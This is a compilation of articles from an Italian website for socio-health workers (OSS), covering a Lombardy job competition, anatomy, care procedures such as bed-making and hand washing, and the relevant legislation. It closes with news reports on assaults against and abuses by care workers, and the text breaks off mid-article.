https://ossinreparto.it/concorso-oss-8-posti-lombardia/ - Categorie: News Concorsi, Concorsi In questo articolo, esamineremo i dettagli del concorso, la procedura di iscrizione e i requisiti richiesti per partecipare. Il settore sanitario in Lombardia si prepara ad accogliere un nuovo concorso pubblico per titoli ed esami indetto dall'ASST Bergamo Ovest. Questo concorso rappresenta un'opportunità per aspiranti Operatori Socio Sanitari (O. S. S) che desiderano entrare a far parte dell'ASST Bergamo Ovest in maniera stabile e indeterminata. In questo articolo, esamineremo i dettagli del concorso, la procedura di iscrizione e i requisiti richiesti per partecipare. Requisiti per partecipare Requisiti generali Prima di iniziare il processo di candidatura, è importante soddisfare alcuni requisiti generali per partecipare al concorso OSS presso l'ASST Bergamo Ovest: Possedere la cittadinanza italiana o di un Paese membro dell'Unione Europea. Essere maggiorenni. Godere dei diritti civili e politici. Non avere precedenti penali o procedimenti in corso che potrebbero compromettere l'idoneità all'assunzione. Requisiti specifici Oltre ai requisiti generali, è necessario soddisfare i seguenti requisiti specifici: Diploma di scuola media o superiore (maturità), determinato nel bando. Attestato di qualifica di Operatore Socio Sanitario (O. S. S). Procedura di iscrizione La procedura di iscrizione al concorso OSS presso l'ASST Bergamo Ovest è completamente telematica. Gli interessati devono seguire i seguenti passaggi: Accedere al sito ufficiale del concorso tramite il seguente link: https://asst-bgovest. iscrizioneconcorsi. it/. Creare un account personale compilando i dati richiesti. Caricare la documentazione necessaria, inclusi i requisiti richiesti come indicato nelle sezioni precedenti. Effettuare il pagamento di una tassa di iscrizione di 15€. Verificare attentamente i dati inseriti prima di inviare la domanda di partecipazione. Si ricorda che la scadenza per la presentazione delle candidature sarà comunicata successivamente mediante delibera ufficiale. Si consiglia di monitorare regolarmente il sito ufficiale del concorso per eventuali aggiornamenti. Si prega di tenere presente che le informazioni riguardanti la scadenza del concorso sono soggette a delibera ufficiale. Si consiglia di verificare regolarmente il sito ufficiale del concorso per gli aggiornamenti più recenti. --- - Published: 2023-05-29 - Modified: 2023-05-31 - URL: https://ossinreparto.it/apparato-locomotore-anatomia/ - Categorie: Anatomia In questo articolo, esploreremo l'apparato locomotore, la sua anatomia e le sue funzioni, per fornire una comprensione di base di questa importante parte del nostro organismo. L'apparato locomotore è una complessa struttura anatomica e funzionale che svolge un ruolo essenziale nel movimento e nella mobilità umana. È costituito da ossa, articolazioni, muscoli, tendini e legamenti, che lavorano insieme per consentire i movimenti del corpo. In questo articolo, esploreremo l'apparato locomotore, la sua anatomia e le sue funzioni, per fornire una comprensione di base di questa importante parte del nostro organismo. Anatomia dell'apparato locomotore Le ossa: Fondamenta del movimento Le ossa sono gli elementi fondamentali dell'apparato locomotore. Forniscono sostegno strutturale al corpo e proteggono gli organi interni. L’uomo ne ha 206 che differiscono tra di loro per forma e dimensioni. In base alla forma, si distinguono in: ossa lunghe, di forma allungata, con una parte centrale detta diafisi e due estremità dette epifisi, un esempio tipico di questa tipologia di ossa sono: la radio, l’ulna, l’omero; ossa brevi o corte, formate da tessuto osseo spugnoso rivestito da una lamina di tessuto osseo compatto, un esempio sono il carpo nel polso; ossa piatte; ossa irregolari; ossa sesamoidi; ossa suturali o wormiane Le ossa sono connesse tra loro tramite articolazioni e sono responsabili della produzione dei movimenti. Le principali ossa del corpo umano includono lo scheletro assiale (cranio, colonna vertebrale, costole, sterno) e lo scheletro appendicolare (articolazioni e ossa degli arti superiori e inferiori). Nel canale midollare delle ossa lunghe è presente un tessuto connettivo chiamato midollo osseo formato da vasi sanguigni. Articolazioni: Punti di connessione Le articolazioni sono le strutture che collegano le ossa tra loro. Esistono diversi tipi di articolazioni, comprese le articolazioni mobili, come quelle delle anche e delle ginocchia, che consentono ampi movimenti, e le articolazioni fisse, come quelle delle ossa craniche, che forniscono stabilità. Le articolazioni sono rivestite da cartilagine, che agisce come cuscinetto per ridurre l'attrito durante il movimento. Muscoli: Motori del movimento I muscoli sono i motori dell'apparato locomotore. Sono costituiti da tessuto muscolare che può contrarsi e rilassarsi per produrre movimenti. I muscoli sono collegati alle ossa tramite tendini, che trasmettono la forza generata dalla contrazione muscolare alle ossa stesse. Ci sono tre tipi principali di muscoli nel corpo umano: muscoli scheletrici (volontari), muscoli cardiaci e muscoli lisci (involontari). Contrazione muscolare: Il processo chiave La contrazione muscolare è il processo fondamentale che permette il movimento. Quando un muscolo si contrae, si accorcia e tira sulle ossa a cui è collegato, producendo il movimento delle articolazioni coinvolte. Questo avviene grazie all'interazione tra le proteine contrattili, actina e miosina, che scivolano l'una sull'altra per accorciare le fibre muscolari. Tendini e legamenti: Supporto e stabilità I tendini sono tessuti fibrosi resistenti che collegano i muscoli alle ossa. Sono essenziali per trasmettere la forza generata dalla contrazione muscolare alle ossa, consentendo il movimento coordinato delle articolazioni. I legamenti, d'altra parte, sono tessuti fibrosi che collegano tra loro le ossa all'interno delle articolazioni. Forniscono stabilità e limitano il movimento eccessivo delle articolazioni, riducendo il rischio di lesioni. Funzioni dell'apparato locomotore L'apparato locomotore svolge diverse funzioni chiave che permettono il movimento e la mobilità del corpo umano.... --- > L'OSS: un professionista empatico e competente che offre cura sociale e sanitaria, garantendo rispetto, dignità e supporto ai pazienti. - Published: 2023-05-21 - Modified: 2023-05-21 - URL: https://ossinreparto.it/oss-ruolo-fondamentale-cura-assistenza-pazienti/ - Categorie: Legislazione Sanitaria Per cultura ed informazione dovrei star qui a spiegarvi le solite direttive dell’OSS, che è una figura professionale nata nel 22 febbraio 2001 ecc., ma oggi voglio soffermarmi su ciò che deve essere realmente questa figura professionale. Per cultura ed informazione dovrei star qui a spiegarvi le solite direttive dell’OSS, che è una figura professionale nata nel 22 febbraio 2001 ecc. , ma oggi voglio soffermarmi su ciò che deve essere realmente questa figura professionale. Invece, per chi volesse saltare questo articolo e capire cosa fa l’OSS a livello legislativo, c’è un articolo intitolato “Area delle competenze”: É una persona, (”ma dai” - penserete voi, e invece questo piccolo particolare viene spesso sottovalutato e dimenticato da molti) ed essendo tale deve essere rispettata, ne parleremo in un altro articolo; Ha competenze socio-sanitarie (come ci suggerisce il nome), quindi sta a dire che si divide in due grandi aree: quella sociale e quella sanitaria. Per quanto riguarda il sociale, l’OSS deve osservare quando un paziente ha disagi, stati depressivi, stati d’ansia, disturbi di natura psicologica, e lo stato di integrazione nell’ambiente circostante; invece, per quanto riguarda il sanitario, deve conoscere le misure di sicurezza del paziente, e le varie procedure per la cura di quest’ultimo, perché se ad un paziente deve essere effettuato un lavaggio intimo lo si deve attuare benissimo (per voi che leggete starete pensando “ma sta dicendo cose ovvie” ed invece no, perché per mia esperienza ho visto molte signore che non sapevano fare, o per negligenza o per ignoranza, nemmeno un lavaggio intimo); É una scelta, e non un piano B perché non abbiamo superato i test d’ingresso delle professioni sanitarie. Anche questo ne parleremo più avanti; Non è un “lava padelle” o un “badante”. Si, ci occupiamo anche della disinfezione delle padelle, ed effettuiamo anche un assistenza domiciliare ma non è solo questo ciò che facciamo, noi siamo molto altro; Non esegue ordini da nessuno, ma attribuzioni e c’è differenza; É empatico, e non frustrato e con disturbi di rabbia, gelosia o quant’altro: il vero OSS non è geloso dell’operato altrui e aiuta un tirocinante o un affiancato; questa figura professionale non può arrabbiarsi con un paziente se magari non vuole alzarsi dal letto, perché ci sarà un motivo, ma al contrario cerca di aiutarlo nella migliore guarigione o perlomeno nella migliore permanenza sulla terra; Non risolve i problemi dei pazienti, l’empatia è una cosa e l’immedesimarsi troppo può diventare una sindrome e un male; Il giusto equilibrio si trova con il tempo; É professionale, rispetta la privacy del paziente, ciò significa sia la riservatezza del paziente durante le cure igieniche, sia il segreto professionale. Questo è solo un piccolo riassunto del grande mondo dell’OSS, ma ci sarebbero tante altre cose da dire. In conclusione, l'esperienza di un OSS mi ha insegnato che il nostro ruolo è fondamentale nella cura e nell'assistenza dei pazienti. Come professionisti, siamo in grado di offrire supporto sia dal punto di vista sociale che sanitario, garantendo sempre il massimo rispetto e la dignità dei pazienti. La nostra formazione professionale ci consente di affrontare situazioni complesse, utilizzando competenze specifiche per la cura e l'assistenza dei pazienti. --- > Scopri la procedura per il rifacimento del letto vuoto, che serve a garantire un ambiente pulito e sicuro. Rifacimento accurato per il comfort e l'igiene del paziente. - Published: 2023-05-21 - Modified: 2025-12-13 - URL: https://ossinreparto.it/procedura-rifacimento-letto-vuoto/ - Categorie: Procedure, Assistenza alla Persona In questo articolo esamineremo i passaggi necessari per eseguire correttamente la procedura del rifacimento del letto vuoto, fornendo consigli utili, informazioni sul materiale occorrente e la sequenza operativa. Il rifacimento del letto vuoto è una procedura fondamentale nel contesto sanitario, in quanto assicura il comfort dell'assistito e garantisce l'igiene. In questo articolo esamineremo i passaggi necessari per eseguire correttamente la procedura del rifacimento del letto vuoto, fornendo consigli utili, informazioni sul materiale occorrente e la sequenza operativa. Materiale occorrente Per eseguire la procedura del rifacimento del letto vuoto in modo efficace, è necessario disporre il carrello per la biancheria sporca dei seguenti materiali: Guanti monouso non sterili; Sacchi per la raccolta per la biancheria sporca; Lenzuola, coperta e federe pulite; Traversa monouso; Tela impermeabile (cerata). Procedura del Rifacimento del Letto Vuoto La procedura del rifacimento del letto vuoto può essere suddivisa nei seguenti passaggi: Preparazione Prima di iniziare assicurarsi che il paziente non sia al letto nel caso invitarlo a sedersi su di una sedia e informarlo della procedura. Procedere al lavaggio sociale delle mani e indossare i guanti monouso. Far arieggiare l’ambiente aprendo la finestra. Preparare i sacchi per la raccolta della biancheria sporca e il carrello. Durante questa procedura il carrello non va mai portato all'interno della stanza di degenza, ma va lasciato fuori proprio per evitare il contagio da un paziente all'altro. Ciò che serve va pertanto preso al di fuori della stanza e dopo il suo utilizzo riposto nel carrello dello sporco per essere disinfettato correttamente o, se monouso, direttamente smaltito nei rifiuti speciali. Porre una sedia ai piedi del letto e quest'ultimo sollevarlo all'altezza di lavoro comoda. Rimozione della Biancheria Usata Rimuovere le lenzuola, la coperta, le federe, la traversa, la tela impermeabile, con cura per evitare di contaminare l'ambiente circostante. Inserire la biancheria sporca nei sacchi per la raccolta apposita. I capi riutilizzabili vanno piegati separatamente e appoggiati sulla spalliera della sedia. Rimuovere i guanti monouso, lavarsi le mani ed indossare i guanti puliti. Rifacimento del Letto Stendere il coprimaterasso e rincalzarlo bene, mettere il lenzuolo inferiore sul coprimaterasso e stenderlo bene. Rincalzare il lenzuolo inferiore sotto il materasso, alla testata e ai piedi del letto effettuate la piega ad angolo, in questo modo si consente di assicurare la biancheria a mantenere le lenzuola ben tese. (Personalmente ho eseguito questa tecnica a casa e funziona). Posizionare la tela impermeabile (cerata) a circa 35 cm dalla testata del letto, che corrisponde all'altezza della zona lombare del paziente. Porre la traversa sulla cerata. Rincalzare la tela e la traversa sotto il materasso. Mettere il lenzuolo superiore sul letto posizionando l’orlo verso la testata del letto. Stendere il copriletto e ripiegare l’orlo del lenzuolo superiore sopra il copriletto, fare correttamente gli angoli del letto (fare una piega orizzontale o verticale sul lenzuolo a livello dei piedi per fornire spazio in più e prevenire che non si creino danni ai piedi del paziente. Aprire il letto, facilitando al massimo il ritorno al letto del paziente. Mettere la federa sul guanciale e posizionare quest’ultimo sul letto. Chiudere la finestra. Verificare che il sistema di chiamata sia funzionante e accessibile al paziente. Riordinare il materiale, togliersi i guanti, lavarsi... --- > Scopri l'importanza della corretta attribuzione dei compiti nell'ambito dell'OSS (Operatore Socio Sanitario). - Published: 2023-05-21 - Modified: 2023-05-21 - URL: https://ossinreparto.it/delega-attribuzione-oss/ - Categorie: Legislazione Sanitaria In questo articolo, esploreremo il concetto di delega e/o attribuzione, focalizzandoci sulle sue implicazioni, l'importanza di una corretta assegnazione dei compiti e le competenze coinvolte. La delega e/o attribuzione delle responsabilità nell'ambito dell'OSS (Operatore Socio Sanitario) è un aspetto fondamentale per garantire una corretta organizzazione e distribuzione dei compiti all'interno di una struttura sanitaria. In questo articolo, esploreremo il concetto di delega e/o attribuzione, focalizzandoci sulle sue implicazioni, l'importanza di una corretta assegnazione dei compiti e le competenze coinvolte. Delega e/o attribuzione nell'OSS Innanzitutto chiariamo un concetto fondamentale l’infermiere non delega ma attribuisce delle responsabilità all'OSS riguarda la trasmissione di compiti specifici da un professionista sanitario a un altro, nel rispetto delle competenze e delle norme etiche. Importanza di una corretta assegnazione dei compiti Una corretta assegnazione dei compiti all'interno di un'equipe sanitaria è fondamentale per garantire la qualità dell'assistenza fornita ai pazienti. Ecco alcune ragioni per cui una corretta attribuzione dei compiti è cruciale: Ottimizzazione delle risorse: L’attribuzione permette di sfruttare al meglio le risorse umane disponibili, assegnando compiti specifici a professionisti con le competenze appropriate. Ciò consente di ridurre l'inefficienza e migliorare l'efficacia delle prestazioni sanitarie. Collaborazione e coordinazione: Una corretta attribuzione promuove la collaborazione tra i membri dell'equipe sanitaria, favorisce lo scambio di informazioni e contribuisce a una migliore coordinazione delle attività. Ciò si traduce in una maggiore efficacia nella gestione dei pazienti e nel raggiungimento degli obiettivi assistenziali. Sviluppo delle competenze: Attraverso l’attribuzione, gli operatori socio sanitari hanno l'opportunità di acquisire nuove competenze e responsabilità, migliorando il loro bagaglio professionale. Questo può contribuire a una maggiore soddisfazione professionale e a una crescita personale nell'ambito sanitario. Riduzione del carico di lavoro: L’attribuzione corretta dei compiti può ridurre il carico di lavoro degli operatori socio sanitari più impegnati, consentendo loro di concentrarsi su attività più complesse o urgenti. Ciò può contribuire a evitare il burnout e a migliorare la qualità del lavoro svolto. Competenze coinvolte nell’attribuzione L’attribuzione dei compiti richiede una valutazione accurata delle competenze e delle responsabilità dei professionisti coinvolti. È essenziale che chi attribuisce e chi riceve l’attribuzione abbia una chiara comprensione delle competenze richieste per svolgere il compito assegnato. Alcune competenze coinvolte nell’attribuzione nell'ambito dell'OSS includono: Conoscenza delle norme e delle linee guida: Gli operatori socio sanitari devono essere a conoscenza delle norme, dei protocolli e delle linee guida che regolano la loro pratica professionale. Questa conoscenza è essenziale per garantire che i compiti vengano delegati in conformità con le disposizioni normative e le migliori pratiche. Competenze tecniche: L’attribuzione di compiti specifici richiede che l'operatore socio sanitario abbia le competenze tecniche necessarie per svolgere tali compiti in modo sicuro ed efficace. Queste competenze possono includere procedure di base, somministrazione di farmaci, gestione di apparecchiature mediche, primo soccorso, ecc. Abilità comunicative: Una buona comunicazione è fondamentale nell’attribuzione dei compiti. Gli operatori socio sanitari devono essere in grado di comunicare chiaramente e in modo efficace con i colleghi coinvolti, fornendo istruzioni precise e comprensibili sul compito attribuito. Inoltre, devono essere disponibili a rispondere a domande o fornire chiarimenti, se necessario. Capacità di valutazione: Prima di attribuire un compito, è importante valutare la capacità e l'idoneità del professionista a cui si intende delegare.... --- > Scopri l'importanza del lavaggio sociale delle mani negli ospedali. Prevenzione delle infezioni nosocomiali e protezione degli operatori sanitari. - Published: 2023-05-21 - Modified: 2023-05-21 - URL: https://ossinreparto.it/lavaggio-sociale-delle-mani/ - Categorie: Igiene e Sicurezza, Procedure In questo articolo, esploreremo l'importanza del lavaggio sociale delle mani in un contesto ospedaliero, fornendo informazioni essenziali su come eseguire correttamente questa pratica. Il lavaggio sociale delle mani riveste un'importanza fondamentale negli ospedali per prevenire la diffusione di infezioni e garantire un ambiente sicuro per pazienti, operatori sanitari e visitatori. In questo articolo, esploreremo l'importanza del lavaggio sociale delle mani in un contesto ospedaliero, fornendo informazioni essenziali su come eseguire correttamente questa pratica. L'importanza del lavaggio sociale delle mani negli ospedali Il lavaggio sociale delle mani in un ospedale assume un ruolo critico nella prevenzione delle infezioni nosocomiali, ovvero quelle contratte all'interno dell'ambiente ospedaliero. Ecco perché è così importante: Prevenzione delle infezioni nosocomiali Gli ospedali sono ambienti in cui pazienti con diverse condizioni mediche si trovano a stretto contatto, aumentando il rischio di trasmissione di germi e infezioni. Il lavaggio sociale delle mani è uno dei modi più efficaci per ridurre la diffusione di germi tra pazienti, operatori sanitari e visitatori. Le infezioni nosocomiali possono avere gravi conseguenze per i pazienti, in particolare per quelli con un sistema immunitario compromesso. Il lavaggio adeguato delle mani può contribuire a prevenire molte infezioni tra cui le infezioni del sito chirurgico, le infezioni del tratto urinario, le polmoniti associate alla ventilazione meccanica e altre infezioni nosocomiali comuni. Protezione degli operatori sanitari Gli operatori sanitari, come medici, infermieri e personale di supporto, sono esposti quotidianamente a una varietà di germi e patogeni presenti in un ospedale. Il lavaggio sociale delle mani è fondamentale per proteggere gli operatori sanitari stessi, riducendo il rischio di trasmissione di infezioni da pazienti a operatori sanitari e viceversa. Un'adeguata igiene delle mani negli operatori sanitari è cruciale per prevenire la diffusione di infezioni tra diversi reparti ospedalieri e pazienti, riducendo la possibilità di focolai di infezione all'interno dell'ospedale. Come eseguire correttamente il lavaggio sociale delle mani in un ospedale Il lavaggio sociale delle mani negli ospedali richiede un approccio rigoroso e specifiche linee guida per garantire un'adeguata igiene delle mani. È importante notare che il lavaggio delle mani in un ospedale richiede un tempo adeguato per garantire la rimozione efficace dei germi. Pertanto, è consigliabile dedicare almeno 40-60 secondi al lavaggio delle mani. Ecco i passaggi da seguire per un lavaggio corretto delle mani in qualsiasi contesto sanitario: Rimuovere anelli, bracciali, orologi; Bagnare le mani con acqua; Applicare una quantità sufficiente di sapone neutro sulle mani; Strofinare le mani palmi contro palmi, quindi strofinare il palmo di una mano sul dorso dell'altra con le dita intrecciate e viceversa; Continuare a strofinare le mani finché il sapone forma una schiuma su tutta la superficie delle mani; Strofinare il pollice sinistro roteandolo con l'aiuto del palmo della mano destra e viceversa; Frizionare le dita delle mani e gli spazi interdigitali sinistra e destra intrecciando i pollici e facendo movimenti rotatori; Strofinare il dorso delle dita di una mano contro il palmo dell'altra mano con movimenti avanti e indietro, afferrando le dita; Strofinare il polso sinistro con la mano destra e viceversa; Risciacquare abbondantemente le mani con acqua corrente, assicurandosi di rimuovere completamente il sapone; Asciugare mani e polsi utilizzando un asciugamano monouso o un... --- > Scopri il Piano di Assistenza Individuale (PAI) nella medicina e nell'assistenza sanitaria, un documento personalizzato che valuta le capacità funzionali e l'autonomia delle persone anziane o con disabilità. - Published: 2023-05-21 - Modified: 2023-05-21 - URL: https://ossinreparto.it/il-pai-piano-di-assistenza-individuale/ - Categorie: Organizzazione Socio-Sanitaria In questo articolo, esploreremo il concetto del PAI, il suo scopo e come viene utilizzato per migliorare la qualità della vita delle persone che ne beneficiano. Nel campo della medicina e dell'assistenza sanitaria, esistono strumenti e valutazioni che consentono di valutare in modo approfondito le capacità funzionali e l'autonomia delle persone anziane o con disabilità. Uno di questi strumenti è il PAI, acronimo che sta per "Piano di Assistenza Individuale". In questo articolo, esploreremo il concetto del PAI, il suo scopo e come viene utilizzato per migliorare la qualità della vita delle persone che ne beneficiano. Cos'è il PAI Il Piano di Assistenza Individuale (PAI) è un documento che viene creato per fornire un quadro completo delle esigenze e dei servizi necessari per supportare una persona anziana o con disabilità. Il PAI viene sviluppato in collaborazione con il paziente, i familiari e il team di assistenza sanitaria, ed è progettato per garantire un approccio personalizzato e centrato sulla persona. Scopo del PAI Il PAI ha diversi obiettivi che includono: Valutare le capacità funzionali e l'autonomia del paziente: Il PAI fornisce una valutazione completa delle capacità fisiche, cognitive e sociali della persona, consentendo di identificare le aree in cui è necessario un supporto aggiuntivo. Definire gli obiettivi e le priorità dell'assistenza: Il PAI stabilisce gli obiettivi e le priorità specifiche per l'assistenza e il supporto del paziente. Questi obiettivi possono includere migliorare la mobilità, favorire l'autonomia nelle attività quotidiane o gestire specifiche condizioni mediche. Coordinare l'assistenza: Il Piano di Assistenza Individuale facilita la comunicazione e la coordinazione tra i diversi professionisti sanitari e i fornitori di servizi coinvolti nell'assistenza al paziente. Ciò assicura che tutte le parti coinvolte siano allineate e lavorino insieme per fornire una assistenza integrata e coerente. I contenuti del PAI Il PAI (Piano di Assistenza Individuale) solitamente comprende le seguenti informazioni: Profilo del paziente: Questa sezione descrive le informazioni personali del paziente, come l'età, il sesso, le condizioni mediche preesistenti e altri dettagli rilevanti. Valutazione funzionale: Questa parte del PAI valuta le capacità funzionali del paziente, comprese le attività di base quotidiane come il vestirsi, l'igiene personale, la mobilità e l'alimentazione. Obiettivi dell'assistenza: In questa sezione vengono identificati gli obiettivi specifici dell'assistenza che il paziente desidera raggiungere, come migliorare la forza fisica, promuovere l'autonomia nelle attività quotidiane o gestire i sintomi di una specifica condizione. Piani di trattamento: Questa parte del PAI descrive i piani di trattamento e le terapie raccomandate per aiutare il paziente a raggiungere i suoi obiettivi di assistenza. Ciò può includere programmi di riabilitazione, terapie occupazionali, supporto psicologico o altri interventi specifici. Piano di supporto: Questa sezione del PAI elenca i servizi e le risorse necessarie per supportare il paziente nel raggiungimento dei suoi obiettivi. Ciò può includere assistenza domiciliare, servizi di trasporto, servizi di cura residenziale, supporto familiare o altre forme di supporto sociale. Monitoraggio e valutazione: Il PAI prevede anche un piano per monitorare e valutare regolarmente l'efficacia delle strategie di assistenza e apportare eventuali modifiche o aggiustamenti necessari. Conclusioni In conclusione, il Piano di Assistenza Individuale (PAI) si rivela un prezioso strumento nel campo della medicina e dell'assistenza sanitaria, consentendo una valutazione approfondita delle capacità funzionali... --- > Scopri la formazione e le competenze dell'Operatore Socio-Sanitario (OSS) secondo il Provvedimento del 22 febbraio 2001. - Published: 2023-05-21 - Modified: 2025-04-01 - URL: https://ossinreparto.it/provvedimento-22-febbraio-2001/ - Categorie: Legislazione Sanitaria Questo articolo fornisce una panoramica dettagliata del provvedimento, delineando le caratteristiche dell'OSS e le sue attività. Il Provvedimento del 22 febbraio 2001 ha introdotto importanti disposizioni per la formazione e le competenze dell'Operatore Socio-Sanitario (OSS), una figura professionale di grande rilevanza nel settore sociale e sanitario. Questo articolo fornisce una panoramica dettagliata del provvedimento, delineando le caratteristiche dell'OSS e le sue attività. Chi è l'OSS L'Operatore Socio-Sanitario (OSS) è un professionista che ha conseguito un attestato di qualifica e svolge attività mirate a soddisfare i bisogni primari delle persone nei settori sociale e sanitario. Il Provvedimento del 22 febbraio 2001 definisce la formazione dell'OSS, la quale è di competenza delle Regioni e delle Province autonome di Trento e Bolzano. Queste ultime si occupano dell'organizzazione dei corsi di formazione e delle relative attività didattiche. Il corso di formazione dell'OSS ha una durata complessiva di 1000 ore, che include un tirocinio presso strutture socio-sanitarie, e al termine viene rilasciato un attestato di qualifica. Competenze e Formazione dell'OSS Il corso di formazione dell'OSS comprende diverse materie di insegnamento che riguardano aspetti tecnici, relazionali e di gestione. Alcuni degli argomenti trattati includono la prevenzione e la cura delle lesioni cutanee, l’assistenza alla somministrazione di farmaci, l'assistenza igienico-sanitaria e il supporto gestionale. L'OSS acquisisce competenze tecniche e relazionali che gli permettono di svolgere una vasta gamma di attività. Queste includono l'assistenza diretta alla persona, l'intervento igienico-sanitario, il supporto gestionale e la collaborazione con altre figure professionali. L'allegato A del Provvedimento elenca le principali attività svolte dall'OSS, come l'aiuto nella gestione dei pasti, il supporto nella cura dell'igiene personale, l'assistenza nel movimento e nella deambulazione, il supporto psicologico. L'allegato B del Provvedimento descrive le competenze dell'operatore socio-sanitario, che includono conoscenze tecniche sull'anatomia e la fisiologia del corpo umano, sa attuare le modalità di rilevazione, segnalazione e comunicazione dei problemi generali e specifiche relativi al paziente, conosce le condizioni di rischio del paziente, nonché competenze relazionali e comunicative come la capacità di ascolto, di relazionarsi con le persone e di lavorare in equipe. L'allegato C del Provvedimento fornisce una descrizione dettagliata delle materie di insegnamento. Contesti Lavorativi e Ruolo dell'OSS L'OSS può operare in diversi contesti lavorativi, tra cui ospedali pubblici e privati, cliniche, strutture per anziani, disabili, tra queste le CDD (Centri diurni per persone con disabilità) e malati terminali (Hospice) , istituti di riabilitazione e servizi di assistenza domiciliare. In tutti questi contesti, l'OSS svolge un ruolo fondamentale nell'assistenza alle persone, offrendo supporto e attenzione alle loro esigenze primarie, promuovendo la loro autonomia e il loro benessere. Le Macro-Aree di Attività dell'OSS Il Provvedimento del 22 febbraio 2001 definisce con precisione le attività dell'OSS, suddividendole in tre macro-aree: assistenza diretta alla persona, intervento igienico-sanitario e supporto gestionale. Assistenza diretta alla persona: In questa macro-area, l'OSS svolge attività di assistenza alla persona, prestando attenzione ai bisogni primari della persona assistita. Queste attività includono l'igiene personale, la cura del vestiario, l'assistenza nella mobilizzazione e nella deambulazione, l'assistenza ai pasti e all'alimentazione e la sorveglianza dei parametri vitali. Intervento igienico-sanitario: Nella seconda macro-area, l'OSS svolge interventi igienico-sanitari, come la prevenzione delle infezioni, la gestione... --- --- ## News - Published: 2025-12-10 - Modified: 2025-12-10 - URL: https://ossinreparto.it/news/2025/12/10/giulianova-oss-aggredito-pronto-soccorso-violenza-sanitaria/ - Categorie: Cronaca, Lavoro - Tag: Lavorare come OSS OSS aggredito da un paziente al Pronto Soccorso di Giulianova. UGL denuncia: “Sicurezza a rischio nelle strutture sanitarie”. Nuovo episodio di violenza all'interno del Pronto Soccorso dell'ospedale di Giulianova, dove un operatore socio-sanitario è stato aggredito da un paziente durante le fasi di assistenza. L'uomo, improvvisamente, avrebbe colpito l'OSS con un pugno, causandogli traumi giudicati guaribili in sette giorni. A denunciarlo è UGL Salute Abruzzo, che parla di un'emergenza sicurezza ormai fuori controllo. L'episodio arriva infatti a pochi giorni dalla doppia aggressione subita da due operatrici della Croce Rossa nella stessa area territoriale, alimentando una preoccupante sequenza di attacchi contro il personale sanitario. Secondo le ricostruzioni, soltanto l'intervento tempestivo del vigilante presente all'esterno del Pronto Soccorso, insieme ai Carabinieri, ha impedito che la situazione degenerasse ulteriormente. "Non c'è più sicurezza nemmeno dentro gli ospedali", dichiara Stefano Matteucci, segretario regionale UGL Salute Abruzzo. Gli operatori continuano a lavorare in condizioni che mettono a rischio la loro incolumità. Questo ennesimo episodio testimonia una deriva che deve essere fermata prima che venga compromessa la capacità stessa del servizio di emergenza di funzionare in sicurezza". Il sindacato ha espresso solidarietà e auguri di pronta guarigione all'operatore socio-sanitario coinvolto. Una nota dell'UGL sottolinea inoltre la necessità di interventi strutturali: dal potenziamento dei sistemi di vigilanza, alla presenza costante di personale di supporto nelle aree più critiche, fino alla formazione specifica per la gestione delle situazioni ad alto rischio comportamentale. Nel frattempo, l'aggressione riaccende il dibattito sulla tutela degli operatori sanitari, sempre più esposti a episodi di violenza verbale e fisica, soprattutto nei reparti di emergenza. --- > Processo a Viterbo per un OSS accusato di abusi su pazienti psichiatriche. Chiesti 9 anni. Sentenza attesa a marzo. - Published: 2025-12-07 - Modified: 2025-12-07 - URL: https://ossinreparto.it/news/2025/12/07/abusi-casa-di-cura-oss-chiesti-9-anni-processo-viterbo/ - Categorie: Cronaca Processo a Viterbo per un OSS accusato di abusi su pazienti psichiatriche. Chiesti 9 anni. Sentenza attesa a marzo. La vicenda giudiziaria che coinvolge un operatore socio-sanitario in servizio presso una casa di cura del Viterbese si avvicina alla conclusione. Il pubblico ministero ha chiesto nove anni di reclusione al termine di una requisitoria lunga e molto dettagliata, contestando all'uomo una serie di condotte a sfondo sessuale ai danni di quattro pazienti ricoverate nel reparto psichiatrico. La sentenza è attesa per marzo, dopo la discussione della difesa. L'indagine: denunce, testimonianze e valutazioni peritali L'inchiesta avviata nel settembre 2018, dopo la prima denuncia raccolta dal commissariato di Tarquinia, si è progressivamente ampliata fino a coinvolgere quattro pazienti ricoverate nel reparto psichiatrico della struttura sanitaria viterbese. Tre di loro hanno presentato querela e due si sono costituite parte civile, mentre una quarta è stata ascoltata come persona offesa. Gli episodi contestati, secondo la Procura, si sarebbero verificati in un contesto di particolare vulnerabilità: un ricovero psichiatrico che, per definizione, limita la capacità di autodifesa e richiede massima tutela da parte degli operatori. Le valutazioni peritali ordinate dal Tribunale hanno riconosciuto la coerenza narrativa delle testimonianze e la loro compatibilità clinica, pur in presenza di disturbi alimentari, depressione o pregresse situazioni familiari problematiche. Elementi che, secondo il pubblico ministero, aumenterebbero la gravità delle presunte condotte dell'operatore socio-sanitario, accusato di aver sfruttato la minorata difesa delle pazienti. Le imputazioni riguardano palpeggiamenti e atti sessuali di diversa natura, che - qualora confermati - configurerebbero violazioni gravissime del rapporto fiduciario e dell'obbligo professionale di protezione verso persone fragili. La vicenda ha riacceso l'attenzione sul ruolo dell'OSS nei reparti psichiatrici, ambienti assistenziali in cui il contatto continuo con il paziente richiede non solo competenze tecnico-assistenziali ma anche rigorosi standard etici e organizzativi. Il caso pone interrogativi urgenti sulle misure di prevenzione: dalla presenza di sistemi di videosorveglianza alle procedure di supervisione, dalla formazione continua sul trattamento dei pazienti vulnerabili ai canali interni per la segnalazione di eventuali condotte irregolari. La difesa dell'imputato, rappresentata dall'avvocato Marco Russo, contesta la ricostruzione della Procura e insiste sull'estraneità del proprio assistito ai fatti. La discussione difensiva si terrà nella prossima udienza, mentre la sentenza è attesa per marzo. Un procedimento che non riguarda soltanto l'accertamento delle responsabilità individuali, ma che solleva un tema strutturale: garantire, nelle strutture psichiatriche, un sistema di protezione realmente adeguato ai pazienti più fragili. --- - Published: 2025-12-07 - Modified: 2025-12-07 - URL: https://ossinreparto.it/news/2025/12/07/capri-oss-arrestato-abusi-anziani-rsa/ - Categorie: Cronaca A Capri un OSS finisce ai domiciliari per presunti abusi su quattro anziani fragili. Le indagini sono partite da una segnalazione interna della RSA. Un operatore socio-sanitario di una casa di riposo di Capri è stato posto agli arresti domiciliari con braccialetto elettronico con l'accusa di violenza sessuale aggravata e maltrattamenti ai danni di quattro ospiti ultraottantenni, tutti affetti da gravi patologie psichiche e condizioni di minorata difesa. L'indagine, coordinata dalla Procura di Napoli, rappresenta uno dei casi più gravi degli ultimi anni nelle strutture assistenziali per anziani della Campania, riaccendendo il tema dei controlli e della tutela delle persone non autosufficienti. Le indagini: telecamere nascoste, segnalazioni interne e oltre dieci episodi documentati L'inchiesta ha preso avvio dopo la segnalazione di un altro operatore socio-sanitario 